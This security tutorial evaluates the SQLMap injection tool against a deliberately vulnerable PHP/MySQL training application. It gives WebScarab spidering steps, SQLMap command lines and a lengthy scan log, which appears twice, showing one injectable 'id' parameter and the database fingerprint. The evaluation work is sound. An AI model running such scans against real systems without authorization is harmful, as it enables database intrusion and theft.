Using SQLMap for Automated Vulnerability Assessment
Vulnerability assessors and code auditors are often faced with situations where a large volume of code needs to be audited quickly to enable a deployment. In these situations large web applications need to be reviewed in a fast and efficient manner. Although a code level analysis is often the most effective way to analyse the security of an application it is a time consuming process and not all practical. In these situations testers often turn to automated tools to help discover vulnerabilities. SQLMap (http://sqlmap.sourceforge.net/) is an automated SQL injection tool that, like most web auditing and assessment tools, does a great job if properly configured and guided through execution. SQLMap contains some interesting features that seem to lend it to quick evaluation of applications. In this article I'll go over these features and how to use them and conclude with an evaluation of the effectiveness of SQLMap for this purpose.
I'm currently working through a PHP code auditing course for the University of Pennsylvania School of Arts and Sciences (http://www.sas.upenn.edu/computing/view/information-security-training). The course involves some hands on exercises, including a simple PHP/MySQL based application that is deliberately vulnerable to SQL injection in several places. Looking at the code base, it is relatively straightforward to identify these vulnerabilities and develop exploits. I was interested to see if SQLMap would be as effective in finding and exploiting these vulnerabilities.
Setting Up the Tests
For the purposes of this exercise you can download the latest version of the SQLInjectionWebApp from SourceForge at https://sourceforge.net/projects/lampsecurity/. The application is packaged as a .zip file. All you need to do is unzip the application in a web accessible directory. Once the application is unzipped you need to create the database using the script in the sql/ directory. To do this simply type, at the command prompt:
$ mysql -u root -p < sql/db.sql
And you shouldn't get any errors. Once the database is installed you can browse the application to get a sense of its functionality. If you need any pointers or tips on debugging feel free to check out the presentation slides I put together for the exercise at http://www.sas.upenn.edu/computing/system/files/PHP-code-auditing3.ppt.
SQLMap is a fairly easy program to install. Simply download the source from http://sqlmap.sourceforge.net/#download. Once downloaded you can run SQLMap from the command line using:
$ python sqlmap.py -h
Which should print out the usage options. SQLMap contains a very interesting input feature that is invoked with the "-l" flag. This is the list option which allows you to pass a list of URL's or WebScarab logs. To utilize the full power of this feature you must first install OWASP WebScarab from http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project. Once downloaded you run WebScarab from the command line using:
$ java -jar webscarab.jar
Once WebScarab is up and running we need to configure our web browser to use a local proxy on port 8008. On Firefox this is easily done by going to Edit -> Preferences -> Advanced -> Network, then click the 'Settings' button next to the Connection section.
In the new window click the radio button next to 'Manual proxy configuration:' and set the 'HTTP Proxy' to 127.0.0.1 and the port to 8008 then click 'OK'. Now that the proxy is running pull up the target site page in a browser.
You'll notice that WebScarab instantly records the page request.
Capturing Data
Now, you could manually surf through the entire application, showing WebScarab where each page was, but WebScarab has a nice feature that obviates this need. Simply right click the URL and select the 'Spider tree' option. This will spider the entire application quickly and accurately. Once you've completed the scan save the session in WebScarab from 'File' -> 'Save' and specify a folder name. For our purposes let's say you save the scan in ~/webscarab/sql-inject/.
Testing SQLMap
Once saved you can look in the directory where the WebScarab output was stored. You'll notice a subdirectory called conversations. Inside of this folder you'll see a series of request and response files. Each one stores the text of the corresponding request to the target or response from the target. We'll use this directory as our input for SQLMap to automate the search for SQL injection.
To fire up SQLMap using the WebScarab logs use the command:
$ python sqlmap.py -l ~/webscarab/sql-inject/conversations/
Answer 'y' for affirmative response to all the questions SQLMap prompts you with. You should see output that looks something like the following:
sqlmap/0.6.4 coded by Bernardo Damele A. G.and Daniele Bellucci [*] starting at: 13:25:37 [13:25:37] [INFO] sqlmap parsed 5 testable requests from the targets list [13:25:37] [INFO] sqlmap got a total of 5 targets [13:25:37] [INPUT] url 1: GET http://172.16.18.130:80/php-training-sql/?id=2 do you want to test this url? [Y/n/q] y [13:25:39] [INFO] testing url http://172.16.18.130:80/php-training-sql/?id=2 [13:25:39] [INFO] testing connection to the target url [13:25:39] [INFO] testing if the url is stable, wait a few seconds [13:25:40] [INFO] url is stable [13:25:40] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic [13:25:40] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [13:25:40] [INFO] testing if Cookie parameter 'PHPSESSID' is dynamic [13:25:40] [WARNING] Cookie parameter 'PHPSESSID' is not dynamic [13:25:40] [INFO] testing if GET parameter 'id' is dynamic [13:25:40] [WARNING] GET parameter 'id' is not dynamic [13:25:40] [INPUT] url 2: GET http://172.16.18.130:80/php-training-sql/?id=3 do you want to test this url? [Y/n/q] y [13:25:50] [INFO] testing url http://172.16.18.130:80/php-training-sql/?id=3 [13:25:50] [INFO] testing connection to the target url [13:25:50] [INFO] testing if the url is stable, wait a few seconds [13:25:51] [INFO] url is stable [13:25:51] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic [13:25:51] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [13:25:51] [INFO] testing if GET parameter 'id' is dynamic [13:25:51] [WARNING] GET parameter 'id' is not dynamic [13:25:51] [INPUT] url 3: GET http://172.16.18.130:80/php-training-sql/?id=1 do you want to test this url? [Y/n/q] y [13:25:54] [INFO] testing url http://172.16.18.130:80/php-training-sql/?id=1 [13:25:54] [INFO] testing connection to the target url [13:25:54] [INFO] testing if the url is stable, wait a few seconds [13:25:55] [INFO] url is stable [13:25:55] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic [13:25:55] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [13:25:55] [INFO] testing if GET parameter 'id' is dynamic [13:25:55] [INFO] confirming that GET parameter 'id' is dynamic [13:25:55] [INFO] GET parameter 'id' is dynamic [13:25:55] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis [13:25:55] [INFO] testing unescaped numeric injection on GET parameter 'id' [13:25:55] [INFO] confirming unescaped numeric injection on GET parameter 'id' [13:25:55] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis [13:25:55] [INPUT] do you want to exploit this SQL injection? [Y/n] y [13:26:12] [INFO] testing for parenthesis on injectable parameter [13:26:12] [INFO] the injectable parameter requires 0 parenthesis [13:26:12] [INFO] testing MySQL [13:26:12] [INFO] confirming MySQL [13:26:12] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1 [13:26:12] [INFO] retrieved: 4 [13:26:12] [INFO] performed 13 queries in 0 seconds [13:26:12] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS web application technology: Apache 2.2.3, PHP 5.1.6 back-end DBMS: MySQL >= 5.0.0 [13:26:12] [INPUT] url 4: GET http://172.16.18.130:80/php-training-sql/?action=login do you want to test this url? [Y/n/q] y [13:26:16] [INFO] testing url http://172.16.18.130:80/php-training-sql/?action=login [13:26:16] [INFO] testing connection to the target url [13:26:16] [INFO] testing if the url is stable, wait a few seconds [13:26:17] [INFO] url is stable [13:26:17] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic [13:26:17] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [13:26:17] [INFO] testing if GET parameter 'action' is dynamic [13:26:17] [INFO] confirming that GET parameter 'action' is dynamic [13:26:17] [INFO] GET parameter 'action' is dynamic [13:26:17] [INFO] testing sql injection on GET parameter 'action' with 0 parenthesis [13:26:17] [INFO] testing unescaped numeric injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not unescaped numeric injectable [13:26:17] [INFO] testing single quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not single quoted string injectable [13:26:17] [INFO] testing LIKE single quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not LIKE single quoted string injectable [13:26:17] [INFO] testing double quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not double quoted string injectable [13:26:17] [INFO] testing LIKE double quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not LIKE double quoted string injectable [13:26:17] [INFO] GET parameter 'action' is not injectable with 0 parenthesis [13:26:17] [INFO] testing sql injection on GET parameter 'action' with 1 parenthesis [13:26:17] [INFO] testing unescaped numeric injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not unescaped numeric injectable [13:26:17] [INFO] testing single quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not single quoted string injectable [13:26:17] [INFO] testing LIKE single quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not LIKE single quoted string injectable [13:26:17] [INFO] testing double quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not double quoted string injectable [13:26:17] [INFO] testing LIKE double quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not LIKE double quoted string injectable [13:26:17] [INFO] GET parameter 'action' is not injectable with 1 parenthesis [13:26:17] [INFO] testing sql injection on GET parameter 'action' with 2 parenthesis [13:26:17] [INFO] testing unescaped numeric injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not unescaped numeric injectable [13:26:17] [INFO] testing single quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not single quoted string injectable [13:26:17] [INFO] testing LIKE single quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not LIKE single quoted string injectable [13:26:17] [INFO] testing double quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not double quoted string injectable [13:26:17] [INFO] testing LIKE double quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not LIKE double quoted string injectable [13:26:17] [INFO] GET parameter 'action' is not injectable with 2 parenthesis [13:26:17] [INFO] testing sql injection on GET parameter 'action' with 3 parenthesis [13:26:17] [INFO] testing unescaped numeric injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not unescaped numeric injectable [13:26:17] [INFO] testing single quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not single quoted string injectable [13:26:17] [INFO] testing LIKE single quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not LIKE single quoted string injectable [13:26:17] [INFO] testing double quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not double quoted string injectable [13:26:17] [INFO] testing LIKE double quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not LIKE double quoted string injectable [13:26:17] [INFO] GET parameter 'action' is not injectable with 3 parenthesis [13:26:17] [WARNING] GET parameter 'action' is not injectable [13:26:17] [INPUT] url 5: GET http://172.16.18.130:80/php-training-sql/?id=4 do you want to test this url? [Y/n/q] y [13:26:25] [INFO] testing url http://172.16.18.130:80/php-training-sql/?id=4 [13:26:25] [INFO] testing connection to the target url [13:26:25] [INFO] testing if the url is stable, wait a few seconds [13:26:26] [INFO] url is stable [13:26:26] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic [13:26:26] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [13:26:26] [INFO] testing if GET parameter 'id' is dynamic [13:26:26] [WARNING] GET parameter 'id' is not dynamic [*] shutting down at: 13:26:26 sqlmap/0.6.4 coded by Bernardo Damele A. G. and Daniele Bellucci [*] starting at: 13:25:37 [13:25:37] [INFO] sqlmap parsed 5 testable requests from the targets list [13:25:37] [INFO] sqlmap got a total of 5 targets [13:25:37] [INPUT] url 1: GET http://172.16.18.130:80/php-training-sql/?id=2 do you want to test this url? [Y/n/q] y [13:25:39] [INFO] testing url http://172.16.18.130:80/php-training-sql/?id=2 [13:25:39] [INFO] testing connection to the target url [13:25:39] [INFO] testing if the url is stable, wait a few seconds [13:25:40] [INFO] url is stable [13:25:40] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic [13:25:40] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [13:25:40] [INFO] testing if Cookie parameter 'PHPSESSID' is dynamic [13:25:40] [WARNING] Cookie parameter 'PHPSESSID' is not dynamic [13:25:40] [INFO] testing if GET parameter 'id' is dynamic [13:25:40] [WARNING] GET parameter 'id' is not dynamic [13:25:40] [INPUT] url 2: GET http://172.16.18.130:80/php-training-sql/?id=3 do you want to test this url? [Y/n/q] y [13:25:50] [INFO] testing url http://172.16.18.130:80/php-training-sql/?id=3 [13:25:50] [INFO] testing connection to the target url [13:25:50] [INFO] testing if the url is stable, wait a few seconds [13:25:51] [INFO] url is stable [13:25:51] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic [13:25:51] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [13:25:51] [INFO] testing if GET parameter 'id' is dynamic [13:25:51] [WARNING] GET parameter 'id' is not dynamic [13:25:51] [INPUT] url 3: GET http://172.16.18.130:80/php-training-sql/?id=1 do you want to test this url? [Y/n/q] y [13:25:54] [INFO] testing url http://172.16.18.130:80/php-training-sql/?id=1 [13:25:54] [INFO] testing connection to the target url [13:25:54] [INFO] testing if the url is stable, wait a few seconds [13:25:55] [INFO] url is stable [13:25:55] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic [13:25:55] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [13:25:55] [INFO] testing if GET parameter 'id' is dynamic [13:25:55] [INFO] confirming that GET parameter 'id' is dynamic [13:25:55] [INFO] GET parameter 'id' is dynamic [13:25:55] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis [13:25:55] [INFO] testing unescaped numeric injection on GET parameter 'id' [13:25:55] [INFO] confirming unescaped numeric injection on GET parameter 'id' [13:25:55] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis [13:25:55] [INPUT] do you want to exploit this SQL injection? [Y/n] y [13:26:12] [INFO] testing for parenthesis on injectable parameter [13:26:12] [INFO] the injectable parameter requires 0 parenthesis [13:26:12] [INFO] testing MySQL [13:26:12] [INFO] confirming MySQL [13:26:12] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1 [13:26:12] [INFO] retrieved: 4 [13:26:12] [INFO] performed 13 queries in 0 seconds [13:26:12] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS web application technology: Apache 2.2.3, PHP 5.1.6 back-end DBMS: MySQL >= 5.0.0 [13:26:12] [INPUT] url 4: GET http://172.16.18.130:80/php-training-sql/?action=login do you want to test this url? [Y/n/q] y [13:26:16] [INFO] testing url http://172.16.18.130:80/php-training-sql/?action=login [13:26:16] [INFO] testing connection to the target url [13:26:16] [INFO] testing if the url is stable, wait a few seconds [13:26:17] [INFO] url is stable [13:26:17] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic [13:26:17] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [13:26:17] [INFO] testing if GET parameter 'action' is dynamic [13:26:17] [INFO] confirming that GET parameter 'action' is dynamic [13:26:17] [INFO] GET parameter 'action' is dynamic [13:26:17] [INFO] testing sql injection on GET parameter 'action' with 0 parenthesis [13:26:17] [INFO] testing unescaped numeric injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not unescaped numeric injectable [13:26:17] [INFO] testing single quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not single quoted string injectable [13:26:17] [INFO] testing LIKE single quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not LIKE single quoted string injectable [13:26:17] [INFO] testing double quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not double quoted string injectable [13:26:17] [INFO] testing LIKE double quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not LIKE double quoted string injectable [13:26:17] [INFO] GET parameter 'action' is not injectable with 0 parenthesis [13:26:17] [INFO] testing sql injection on GET parameter 'action' with 1 parenthesis [13:26:17] [INFO] testing unescaped numeric injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not unescaped numeric injectable [13:26:17] [INFO] testing single quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not single quoted string injectable [13:26:17] [INFO] testing LIKE single quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not LIKE single quoted string injectable [13:26:17] [INFO] testing double quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not double quoted string injectable [13:26:17] [INFO] testing LIKE double quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not LIKE double quoted string injectable [13:26:17] [INFO] GET parameter 'action' is not injectable with 1 parenthesis [13:26:17] [INFO] testing sql injection on GET parameter 'action' with 2 parenthesis [13:26:17] [INFO] testing unescaped numeric injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not unescaped numeric injectable [13:26:17] [INFO] testing single quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not single quoted string injectable [13:26:17] [INFO] testing LIKE single quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not LIKE single quoted string injectable [13:26:17] [INFO] testing double quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not double quoted string injectable [13:26:17] [INFO] testing LIKE double quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not LIKE double quoted string injectable [13:26:17] [INFO] GET parameter 'action' is not injectable with 2 parenthesis [13:26:17] [INFO] testing sql injection on GET parameter 'action' with 3 parenthesis [13:26:17] [INFO] testing unescaped numeric injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not unescaped numeric injectable [13:26:17] [INFO] testing single quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not single quoted string injectable [13:26:17] [INFO] testing LIKE single quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not LIKE single quoted string injectable [13:26:17] [INFO] testing double quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not double quoted string injectable [13:26:17] [INFO] testing LIKE double quoted string injection on GET parameter 'action' [13:26:17] [INFO] GET parameter 'action' is not LIKE double quoted string injectable [13:26:17] [INFO] GET parameter 'action' is not injectable with 3 parenthesis [13:26:17] [WARNING] GET parameter 'action' is not injectable [13:26:17] [INPUT] url 5: GET http://172.16.18.130:80/php-training-sql/?id=4 do you want to test this url? [Y/n/q] y [13:26:25] [INFO] testing url http://172.16.18.130:80/php-training-sql/?id=4 [13:26:25] [INFO] testing connection to the target url [13:26:25] [INFO] testing if the url is stable, wait a few seconds [13:26:26] [INFO] url is stable [13:26:26] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic [13:26:26] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [13:26:26] [INFO] testing if GET parameter 'id' is dynamic [13:26:26] [WARNING] GET parameter 'id' is not dynamic [*] shutting down at: 13:26:26
There are several interesting things to note about this output. The first is that SQLMap uses GET variables by default. You can change this to examine POST variables, but SQLMap needs to understand the variable to use during POST assessment, so it won't work with your WebScarab data. The other thing to notice is that SQLMap only finds one SQL injection vulnerability in the URL '?id=1' even though this vulnerability clearly exists with other 'id' GET parameters.
Ultimately SQLMap identifies only one of the SQL injection points in the application even though there are several, including a POST injection vulnerability in the login script that allows authentication bypass. Additionally there is a COOKIE injection vulnerability that is completely blind that SQLMap does not (and cannot by design) identify. Although there are several other vulnerabilities that present themselves after authentication, the surface scan of SQLMap cannot identify these as it fails to identify the vulnerability in the login. From an evaluators standpoint this approach is interesting, but far from definitive. It's a good way to find low hanging fruit, but even in this capacity SQLMap does not excel. It is worth noting that if you manually feed SQLMap URL's and parameters it does a much more successful job of exploiting vulnerabilities. However, it is worth noting that even if you explicitly tell SQLMap parameters to use in the login form it will still fail to exploit them:
$ python sqlmap.py --method POST --data "username=admin" -v 0 --union-test -u http://172.16.18.130/php-training-sql/index.php?action=login sqlmap/0.6.4 coded by Bernardo Damele A. G.and Daniele Bellucci [*] starting at: 15:56:37 [15:56:38] [WARNING] POST parameter 'username' is not dynamic [15:56:38] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [15:56:38] [WARNING] Cookie parameter 'PHPSESSID' is not dynamic [15:56:38] [WARNING] GET parameter 'action' is not injectable
Conclusions
SQLMap is very good at exploiting certain kinds of SQL injection vulnerabilities. However, if the vulnerability is non-standard or requires parameters outside of SQLMap's capabilities SQLMap will incorrectly report that the vulnerability does not exist.
Although this approach to evaluation is not completely without merit, one can clearly observe that a code level analysis is much more effective. SQLMap is a very handy tool once vulnerabilities have been identified, but even in certain cases, such as with the login form, SQLMap will fail to exploit vulnerabilities that users can confirm and exploit by hand. Perhaps this is a good thing, as it limits the danger posed by SQLMap to many applications and limits it's effectiveness in the hands of script kiddies. Like most web application evaluation software SQLMap does a great job identifying and exploiting a very narrow range of vulnerabilities but fails to give analysts an accurate vulnerability assessment.